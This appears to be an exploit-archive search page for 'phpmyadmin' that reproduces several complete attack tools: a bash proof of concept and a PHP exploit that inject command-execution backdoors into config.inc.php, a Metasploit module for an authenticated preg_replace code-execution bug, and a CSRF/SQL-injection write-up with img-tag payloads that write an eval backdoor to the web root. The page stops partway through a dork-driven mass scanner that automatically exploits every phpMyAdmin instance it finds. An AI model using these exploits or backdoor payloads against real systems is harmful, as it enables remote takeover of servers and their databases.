phpmyadmin

Search result for 'phpmyadmin'
(0.032103061676 seconds)

PAgVac/phpMyAdmin /scripts/setup.php Code Injection ( na)

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
  echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
  echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
  exit
fi

if ! which curl >/dev/null
then
  echo "sorry but you need curl for this script to work!"
         echo "on Debian/Ubuntu: sudo apt-get install curl"
         exit
fi


function exploit {

postdata="token=$1&amp;action=save&amp;configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&amp;eoltype=unix"

postdata2="token=$1&amp;action=save&amp;configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&amp;eoltype=unix"

  flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"

  echo "[+] attempting to inject phpinfo() ..."
  curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

  if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
  then
    curl -ks --url "$3/config/config.inc.php" >$flag  
    echo "[+] success! phpinfo() injected successfully! output saved on $flag"
    curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
    echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
    echo "    $3/config/config.inc.php?c=ls+-l+/"
    echo "    $3/config/config.inc.php?p=phpinfo();"
    echo "    please send any feedback/improvements for this script to"\
    "unknown.pentester<AT_sign__here>gmail.com"
  else
    echo "[+] no luck injecting to $3/config/config.inc.php :("
    exit
  fi
}
# end of exploit function

cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."

#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &amp;>/dev/null
then
  length=`echo -n $token | wc -c`

  # valid form token obtained?
  if [[ $length -eq 32 ]]
  then
    echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
    # attempt exploit!
    exploit $token $cookiejar $1
  else
    echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
    exit
  fi
else
  echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
  exit
fi





phpMyAdmin /scripts/setup.php PHP code injection remote command execution proof of concept exploit. Versions 3.0.1.1 and below are affected.

Mango/phpMyAdmin 3.x Swekey Remote Code Injection ( na)

<?php /*
# Exploit Title: phpMyAdmin 3.x Swekey Remote Code Injection Exploit
# Date: 2011-07-09
# Author: Mango of ha.xxor.se
# Version: phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1
# CVE : CVE-2011-2505, CVE-2011-2506
# Advisory: http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt
# Details: http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
*/
echo php_sapi_name()!=='cli'?'<pre>':'';?>
              .
       ,      )\     .
  .  ,/)   , /  ) ,  )\
  )\(  /)/( (__( /( /  )          __      __              ________        __                    __
 /  \  (   )|  |)  \  /          |  |\  /|  |            |  |  |  |      |  |                  (__)
(  ______ / |  |_____(  ______   |  | \/ |  |  __    __  |  |__|  |   ___|  |  __ ___________   __   __ _____
 \|  | \  \ |  |  |  |)|  | \  \ |  |    |  | |  |  |  | |  |  |  | /  / |  | |  |  |  |  |  | |  | |  |  |  |
  |  |_/__/ |__|  |__| |  |_/__/ |__|    |__| |__|__|  | |__| [][]|[]__[]|[][]|_[]  |_[][]|_[] [][][]__|  |__|
==|__|=================|__|=========================|__|======[]====[][]=|[]|[]=[]===[]==[]=[]===[]==============   
   phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1              [][]   []   [][]  []   []  [] []   []
   Remote Code Injection                                      []    [][]  []    []   []  [] []   []
   http://ha.xxor.se                                          [][] []  [] []    [][]  [][]  []   []
     _   _  ___ __ ____ __ ___  ___      
    | |-| || _ |\   /\   /| _ ||   )     
    |_|-|_||_|_|/_._\/_._\|___||_|_\     
  ___  ___  ___ _  _  ___     ___ __ __ 
 (  < | [_ /  /| || ||   )(_)|   |\ | /
  >__)|_[_ \__\|____||_|_\|_| |_|  |_|

Use responsibly.

<?php echo php_sapi_name()!=='cli'?'</pre>':'';

if(php_sapi_name()==='cli'){
    if(!isset($argv[1])){
        output("   Usage\n    ".$argv[0]." http://example.com/phpMyAdmin-3.3.9.2");
        killme();
    }
    $pmaurl = $argv[1];
}else{
    $pmaurl = isset($_REQUEST['url'])?$_REQUEST['url']:'';
}
$code   = 'foreach($_GET as $k=>$v)if($k==="eval")eval($v);';
$cookie = null;
$token  = null;
if(!function_exists('curl_init')){
    output('[!] Fatal error. Need cURL!');
    killme();
}
$ch     = curl_init();
$debug  = 0;
if(php_sapi_name()!=='cli'){
?>
<form method=post>
URL: <input name=url value="<?php echo htmlspecialchars($pmaurl);?>"> Example: http://localhost:8080/phpMyAdmin-3.3.9.2<br/>
<input name=submit type=submit value=♥>
</form>
<pre>
<?php
if(!isset($_REQUEST['submit']))killme(true);
}

output("[i] Running...");

// Start a session and get a token
curl_setopt_array($ch, array(
    CURLOPT_URL => $pmaurl.'/setup/index.php',
    CURLOPT_HEADER => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 4,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
));
output("[*] Contacting server to retrive session cookie and token.");

$result = curl_exec($ch);
if(404 == curl_getinfo($ch, CURLINFO_HTTP_CODE)){
    output("[!] Fail. $pmaurl/setup/index.php returned 404. The host is not vulnerable or there is a problem with the supplied url.");
    killme();
}
if(!$result){
    output("[!] cURL error:".curl_error($ch));
    killme();
}
if(false !== strpos($result, 'Cannot load or save configuration')){
    output("[!] Fail. Host not vulnerable. Web server writable folder $pmaurl/config/ does not exsist.");
    killme();
}

// Extract cookie
preg_match('/phpMyAdmin=([^;]+)/', $result, $matches);
$cookie = $matches[1];
output("[i] Cookie:".$cookie);
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
output("[i] Token:".$token);

// Poison _SESSION variable
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&amp;session_to_unset=x&amp;token='.$token);
curl_setopt($ch, CURLOPT_COOKIE, 'phpMyAdmin='.$cookie);
output("[*] Contacting server to inject code into the _SESSION[ConfigFile][Servers] array.");
if(!$result = curl_exec($ch)){
    output("[!] cURL error:".curl_error($ch));
    killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

// Save file
curl_setopt($ch, CURLOPT_URL, $pmaurl.'/setup/config.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'submit_save=Save&amp;token='.$token);
output("[*] Contacting server to make it save the injected code to a file.");
if(!$result = curl_exec($ch)){
    output("[!] cURL error:".curl_error($ch));
    killme();
}

//echo htmlspecialchars($result,ENT_QUOTES);

curl_setopt($ch, CURLOPT_URL, $pmaurl.'/config/config.inc.php?eval=echo%20md5(123);');
curl_setopt($ch, CURLOPT_POST, 0);
output("[*] Contacting server to test if the injected code executes.");
if(!$result = curl_exec($ch)){
    output("[!] cURL error:".curl_error($ch));
    killme();
}
if(preg_match('/202cb962ac59075b964b07152d234b70/', $result)){
    output("[!] Code injection successfull. This instance of phpMyAdmin is vulnerable!");
    output("[+] Use your browser to execute PHP code like this $pmaurl/config/config.inc.php?eval=echo%20'test';");
}else{
    output("[!] Code injection failed. This instance of phpMyAdmin does not apear to be vulnerable.");
}


curl_close($ch);

function output($msg){
    echo php_sapi_name()!=='cli'?htmlspecialchars("$msg\n",ENT_QUOTES):"$msg\n";
    flush();
}

function killme(){
    output("[*] Exiting...");
    echo php_sapi_name()!=='cli'?'<pre>':'';
    die();
}

echo php_sapi_name()!=='cli'?'<pre>':'';?>




phpMyAdmin Swekey remote code injection exploit that affects versions prior to 3.4.3.1 and versions prior to 3.3.10.2.

Janek Vind aka waraxe/phpMyAdmin Authenticated Remote Code Execution ( na)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
      'Description' => %q{
          This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
          replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
          This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
          PHP versions > 5.4.6 are not vulnerable.
      },
      'Author' =>
        [
          'Janek "waraxe" Vind', # Discovery
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2013-3238' ],
          [ 'PMASA', '2013-2'],
          [ 'waraxe', '2013-SA#103' ],
          [ 'EDB', '25003'],
          [ 'OSVDB', '92793'],
          [ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
        ],
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Payload'    =>
        {
          'BadChars' => "&amp;\n=+%",
          # Clear out PMA's error handler so it doesn't lose its mind
          # and cause ENOMEM errors and segfaults in the destructor.
          'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
        },
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 25 2013'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("Unable to connect to server.")
      return CheckCode::Unknown
    end

    if res.code != 200
      print_error("Unable to query /js/messages.php")
      return CheckCode::Unknown
    end

    php_version = res['X-Powered-By']
    if php_version
      print_status("PHP Version: #{php_version}")
      if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
        if $1.to_i > 5
          return CheckCode::Safe
        else
          if $1.to_i == 5 and $2.to_i > 4
            return CheckCode::Safe
          else
            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
              return CheckCode::Safe
            end
          end
        end
      end
    else
      print_status("Unknown PHP Version")
    end

    if res.body =~ /pmaversion = '(.*)';/
      print_status("phpMyAdmin version: #{$1}")
      case $1.downcase
        when '3.5.8.1', '4.0.0-rc3'
          return CheckCode::Safe
        when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
          return CheckCode::Vulnerable
        else
          if $1.starts_with? '3.5.'
            return CheckCode::Vulnerable
          end

          return CheckCode::Unknown
      end
    end
  end

  def exploit
    uri = target_uri.path
    print_status("Grabbing CSRF token...")
    response = send_request_cgi({ 'uri' => uri})
    if response.nil?
      fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
    end

    if (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
    else
      print_good("Retrieved token")
    end

    token = $1
    post = {
      'token' => token,
      'pma_username' => datastore['USERNAME'],
      'pma_password' => datastore['PASSWORD']
    }

    print_status("Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => post
    })

    if login.nil?
      fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
    end

    token = login.headers['Location'].scan(/token=(.*)[&amp;|$]/).flatten.first

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.body =~ /Welcome to/
      fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
    else
      print_good("Authentication successful")
    end

    db = rand_text_alpha(3+rand(3))
    exploit_result = send_request_cgi({
      'uri'  => normalize_uri(uri, 'db_structure.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'query_type' => 'replace_prefix_tbl',
        'db' => db,
        'selected[0]' => db,
        'token' => token,
        'from_prefix' => "/e\0",
        'to_prefix' => payload.encoded,
        'mult_btn' => 'Yes'
      }
    },1)
  end
end



This Metasploit module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php. This affects versions 3.5.x below 3.5.8.1 and 4.0.0 below 4.0.0-rc3. PHP versions greater than 5.4.6 are not vulnerable.

Michael Brooks/phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability ( php)

Written by Michael Brooks
Special Thanks to str0ke and rGod

Intro:
phpMyAdmin is by far the most popular PHP project.    Between
phpmyadmin  and the xampp project  there are more than 34+ million
downloads from sourceforge.net .   This exploit was released along
side  XSRF attacks against XAMPP and Simple Directory Listing
effectively breaking the top 3 php projects in the same day.

Vulnerable Software info:
SQL injection in phpMyAdmin by means of XSRF.
Exploit tested on Version 3.1.0  release on: 2008-12-01
Works with magic_quotes_gpc=On or Off.

Exploit information:
This is a Remote php code execution PoC exploit.   The exploit is
dropping a php backdoor into /var/www/backdoor.php,  this attack will
not work on the newest Ubuntu or Fedora... machines due to AppArmor
and SELinux respectively.

This is a XSRF attack to access SQL Injection so the same rules for
executing XSRF attacks still apply.
Steps for exploitation:
1)The Victim's browser must be authenticated to phpMyAdmin at the time
of attack.
2)You must know the URL to phpMyAdmin.
3)Finly,  to execute the attack the Victim's browser then needs to
view the malicious img tag:

Exploit for *nix:
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
path:
/var/www/backdoor.php
backdoor:
<?php eval($_GET[e]);?>

Exploit for a Default XAMPP for Windows Version 1.6.8:
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1">
</html>
path:
c:/xampp/htdocs/backdoor.php
backdoor:
<?php eval(stripslashes($_GET[e]));?>

The backdoor can be accessed via
http://10.1.1.10/backdoor.php?e=phpinfo();

As a side note, this attack is only GET based so no JavaScript or
ActionScript required!  Screw you NoScript!!!


Technical Details:
The exact sql query that is being executed:
SELECT COUNT(*) FROM `TABLES` where 0 union select char(60, 63, 112,
104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 71, 69, 84, 91, 101, 93,
41, 63, 62) into outfile "/var/www/backdoor.php" -- 1`;

The char() mysql function is being used because the first SQL query is
selecting integer values.    The following php code can be used to
build a custom payload,  the current payload is: <?php
eval($_GET[e])?>

<?php
print charEncode($_GET[code]);
function charEncode($string){
	$char="char(";
	$size=strlen($string);
	for($x=0;$x<$size;$x++){
		$char.=ord($string[$x]).", ";
	}
	$char[strlen($char)-2]=")%00";
	return $char;
}
?>
retroGod  showed me this encoding method back when milw0rm still had a forum.

By default,  if this query is malformed it will redirect you to a
blank query window.  This fooled me for a while,  but then I modified
a line and then I could see that I was in fact causing a mysql error.
./phpmyadmin/libraries/dbi/mysql.dbi.lib.php line 126:
return mysql_query($query,$link);
change it to:
return mysql_query($query,$link) or die($query."<br>".mysql_error($link));

The query that is vulnerable to sql injection is being built in
./phpmyadmin/libraries/db_table_exists.lib.php on line: 63
		$_result = PMA_DBI_try_query(
                   'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
                    null, PMA_DBI_QUERY_STORE);
		
The PMA_sqlAddslashes() only disrupts the use of single quotes '.
This function doesn't protect against sql injection because it ignores
back-ticks ` and  double-quotes ".


This attack is not a textbook example of XSRF, because phpMyAdmin does
have protection against XSRF.  The token used to protect requests is
generated in a secure manner:
./phpmyadmin/libraries/session.ic.php line 96:
if (!isset($_SESSION[' PMA_token '])) {
    $_SESSION[' PMA_token '] = md5(uniqid(rand(), true));
}
As a note the call to md5(); is superstitious.  It doesn't add nor
does it subtract to the session security. Possible md5() collisions do
not affect the integrity of the cryptographic nonce.

The vulnerability is because some request variables are exempt from
token's protection.  For instance the request variables 'db' and
'table'  used in the attack are not unset().
./phpmyadmin/libraries/common.inc.php line 389:
if (! PMA_isValid($_REQUEST['token']) || $_SESSION[' PMA_token '] !=
$_REQUEST['token']) {
    /**
     *  List of parameters which are allowed from unsafe source
     */
    $allow_list = array(
        /* needed for direct access, see FAQ 1.34
         * also, server needed for cookie login screen (multi-server)
         */
        'server', 'db', 'table', 'target',
        /* Session ID */
        'phpMyAdmin',
        /* Cookie preferences */
        'pma_lang', 'pma_charset', 'pma_collation_connection',
        /* Possible login form */
        'pma_servername', 'pma_username', 'pma_password',
        /* rajk - for playing blobstreamable media */
        'media_type', 'custom_type', 'bs_reference',
        /* rajk - for changing BLOB repository file MIME type */
        'bs_db', 'bs_table', 'bs_ref', 'bs_new_mime_type'
    );
    /**
     * Require cleanup functions
     */
    require_once './libraries/cleanup.lib.php';
    /**
     * Do actual cleanup
     */
    PMA_remove_request_vars($allow_list);

}

and  PMA_remove_request_vars() is in ./phpmyadmin/librarires/cleanup.lib.php:

function PMA_remove_request_vars(&$whitelist)
{
    // do not check only $_REQUEST because it could have been overwritten
    // and use type casting because the variables could have become
    // strings
    $keys = array_keys(array_merge((array)$_REQUEST, (array)$_GET,
(array)$_POST, (array)$_COOKIE));

    foreach($keys as $key) {
        if (! in_array($key, $whitelist)) {
            unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]);
        } else {
            // allowed stuff could be compromised so escape it
            // we require it to be a string
            if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) {
                unset($_REQUEST[$key]);
            }
            if (isset($_POST[$key]) && ! is_string($_POST[$key])) {
                unset($_POST[$key]);
            }
            if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) {
                unset($_COOKIE[$key]);
            }
            if (isset($_GET[$key]) && ! is_string($_GET[$key])) {
                unset($_GET[$key]);
            }
        }
    }
}
As a note,  the & in this function declaration
PMA_remove_request_vars(&$whitelist) means to pass the variable by
reference,  however this function doesn't use that variable reference.
   Again this is superstitious because it has no effect on the code
its self.

# milw0rm.com [2008-12-08]


Hacking Expose!/pmaPWN! - phpMyAdmin Code Injection RCE Scanner & Exploit ( php)

<?php

$list = array(
'/phpmyadmin/',
'/phpMyAdmin/', 
'/PMA/',
'/pma/', 
'/admin/', 
'/dbadmin/', 
'/mysql/', 
'/myadmin/', 
'/phpmyadmin2/', 
'/phpMyAdmin2/', 
'/phpMyAdmin-2/', 
'/php-my-admin/', 
'/phpMyAdmin-2.2.3/', 
'/phpMyAdmin-2.2.6/', 
'/phpMyAdmin-2.5.1/', 
'/phpMyAdmin-2.5.4/', 
'/phpMyAdmin-2.5.5-rc1/', 
'/phpMyAdmin-2.5.5-rc2/', 
'/phpMyAdmin-2.5.5/', 
'/phpMyAdmin-2.5.5-pl1/', 
'/phpMyAdmin-2.5.6-rc1/', 
'/phpMyAdmin-2.5.6-rc2/', 
'/phpMyAdmin-2.5.6/', 
'/phpMyAdmin-2.5.7/', 
'/phpMyAdmin-2.5.7-pl1/', 
'/phpMyAdmin-2.6.0-alpha/', 
'/phpMyAdmin-2.6.0-alpha2/', 
'/phpMyAdmin-2.6.0-beta1/', 
'/phpMyAdmin-2.6.0-beta2/', 
'/phpMyAdmin-2.6.0-rc1/', 
'/phpMyAdmin-2.6.0-rc2/', 
'/phpMyAdmin-2.6.0-rc3/', 
'/phpMyAdmin-2.6.0/', 
'/phpMyAdmin-2.6.0-pl1/', 
'/phpMyAdmin-2.6.0-pl2/', 
'/phpMyAdmin-2.6.0-pl3/', 
'/phpMyAdmin-2.6.1-rc1/', 
'/phpMyAdmin-2.6.1-rc2/', 
'/phpMyAdmin-2.6.1/', 
'/phpMyAdmin-2.6.1-pl1/', 
'/phpMyAdmin-2.6.1-pl2/', 
'/phpMyAdmin-2.6.1-pl3/', 
'/phpMyAdmin-2.6.2-rc1/', 
'/phpMyAdmin-2.6.2-beta1/', 
'/phpMyAdmin-2.6.2-rc1/', 
'/phpMyAdmin-2.6.2/', 
'/phpMyAdmin-2.6.2-pl1/', 
'/phpMyAdmin-2.6.3/', 
'/phpMyAdmin-2.6.3-rc1/', 
'/phpMyAdmin-2.6.3/', 
'/phpMyAdmin-2.6.3-pl1/', 
'/phpMyAdmin-2.6.4-rc1/', 
'/phpMyAdmin-2.6.4-pl1/', 
'/phpMyAdmin-2.6.4-pl2/', 
'/phpMyAdmin-2.6.4-pl3/', 
'/phpMyAdmin-2.6.4-pl4/', 
'/phpMyAdmin-2.6.4/', 
'/phpMyAdmin-2.7.0-beta1/', 
'/phpMyAdmin-2.7.0-rc1/', 
'/phpMyAdmin-2.7.0-pl1/', 
'/phpMyAdmin-2.7.0-pl2/', 
'/phpMyAdmin-2.7.0/', 
'/phpMyAdmin-2.8.0-beta1/', 
'/phpMyAdmin-2.8.0-rc1/', 
'/phpMyAdmin-2.8.0-rc2/', 
'/phpMyAdmin-2.8.0/', 
'/phpMyAdmin-2.8.0.1/', 
'/phpMyAdmin-2.8.0.2/', 
'/phpMyAdmin-2.8.0.3/', 
'/phpMyAdmin-2.8.0.4/', 
'/phpMyAdmin-2.8.1-rc1/', 
'/phpMyAdmin-2.8.1/', 
'/phpMyAdmin-2.8.2/', 
'/sqlmanager/', 
'/mysqlmanager/', 
'/p/m/a/', 
'/PMA2005/', 
'/pma2005/', 
'/phpmanager/', 
'/php-myadmin/', 
'/phpmy-admin/', 
'/webadmin/', 
'/sqlweb/', 
'/websql/', 
'/webdb/', 
'/mysqladmin/', 
'/mysql-admin/',
);

if($argc > 1) {
	print "|****************************************************************|\n";
	print "        pmaPWN.php - d3ck4, hacking.expose@gmail.com\n";
	print "       phpMyAdmin Code Injection RCE Scanner & Exploit\n";
	print "  This is PHP version original http://milw0rm.com/exploits/8921\n";
	print "           credit: Greg Ose, pagvac @ gnucitizen.org\n";
	print "        greetz: Hacking Expose!, HM Security, darkc0de\n";
	print "|****************************************************************|\n";
	print "\n";
	print "Usage: php $argv[0] \n";
	exit;
}

	print "|****************************************************************|\n";
	print "        pmaPWN.php - d3ck4, hacking.expose@gmail.com\n";
	print "       phpMyAdmin Code Injection RCE Scanner & Exploit\n";
	print "  This is PHP version original http://milw0rm.com/exploits/8921\n";
	print "           credit: Greg Ose, pagvac @ gnucitizen.org\n";
	print "        greetz: Hacking Expose!, HM Security, darkc0de\n";
	print "|****************************************************************|\n";
	print "\n";
	$Handlex = FOpen("pmaPWN.log", "a+");
	FWrite($Handlex, "|****************************************************************|\n");
	FWrite($Handlex, "        pmaPWN.php - d3ck4, hacking.expose@gmail.com\n");
	FWrite($Handlex, "       phpMyAdmin Code Injection RCE Scanner & Exploit\n");
	FWrite($Handlex, "  This is PHP version original http://milw0rm.com/exploits/8921\n");
	FWrite($Handlex, "           credit: Greg Ose, pagvac @ gnucitizen.org\n");
	FWrite($Handlex, "        greetz: Hacking Expose!, HM Security, darkc0de\n");
	FWrite($Handlex, "|****************************************************************|\n\n");
    print "[-] Master, where you want to go today? \n";
	print "[-] example dork: intitle:phpMyAdmin \n";
    fwrite(STDOUT, "\n[ pwn3r@google ~] ./dork -s ");
    $dork = trim(fgets(STDIN));
    print "\n[!] QUERY: SELECT * FROM `googledb` WHERE `keyword` = '$dork'\n";
	FWrite($Handlex, "[!] QUERY: SELECT * FROM `googledb` WHERE `keyword` = '$dork'\n");
    for($i = 0; $i <= 900; $i+=100) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=$dork&num=100&hl=en&as_qdr=all&start=$i&sa=N");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 200);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_REFERER, "http://google.com");
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');
    $pg = curl_exec($ch);
	curl_close($ch);

    if (preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", $pg, $links)) { $res[] = $links[2]; }
	}
	
    foreach($res as $key) {
        foreach($key as $target) {
            $total++;
        }
    }
    print "[+] Done. $total rows return.\n";
	FWrite($Handlex, "[+] Done. $total rows return.\n");
	FClose($Handlex);
    foreach($res as $key) {
        foreach($key as $target) {
			$Handlex = FOpen("pmaPWN.log", "a+");
			$real = parse_url($target);
			$url = "http://".$real['host'];
			print "\n[-] Scanning phpMyAdmin on ".$url."\n";
			FWrite($Handlex, "\n[-] Scanning phpMyAdmin on ".$url."\n");
			FClose($Handlex);
			sleep(5);
			$curlHandle = curl_multi_init();
			for ($i = 0;$i < count($list); $i++)
			$curl[$i] = addHandle($curlHandle,$url.$list[$i]);
			ExecHandle($curlHandle);
			for ($i = 0;$i < count($list); $i++)
			{			
				$text[$i] =  curl_multi_getcontent ($curl[$i]);
				//echo $url.$list[$i]."\n";
				$Handlex = FOpen("pmaPWN.log", "a+");
				if (preg_match("/<title>phpMyAdmin/", $text[$i]) or preg_match("/<title>Access denied/", $text[$i]) and preg_match("/phpMyAdmin/", $text[$i])) {
				print "\n[!] w00t! w00t! Found phpMyAdmin [ ".$url.$list[$i]." ]";
				print "\n[+] Testing vulnerable, wait sec..\n";
				FWrite($Handlex, "\n[!] w00t! w00t! Found phpMyAdmin [ ".$url.$list[$i]." ]");
				FWrite($Handlex, "\n[+] Testing vulnerable, wait sec..\n");
					if (preg_match("/phpMyAdmin is more friendly with a/", $text[$i])) {
						print "\n[!] w00t! w00t! NO PASSWD --> [ ".$url.$list[$i]." ]\n";
						FWrite($Handlex, "\n[!] w00t! w00t! NO PASSWD --> [ ".$url.$list[$i]." ]\n");
					}
				FClose($Handlex);
				exploit_site($url.$list[$i]);
				}
			}
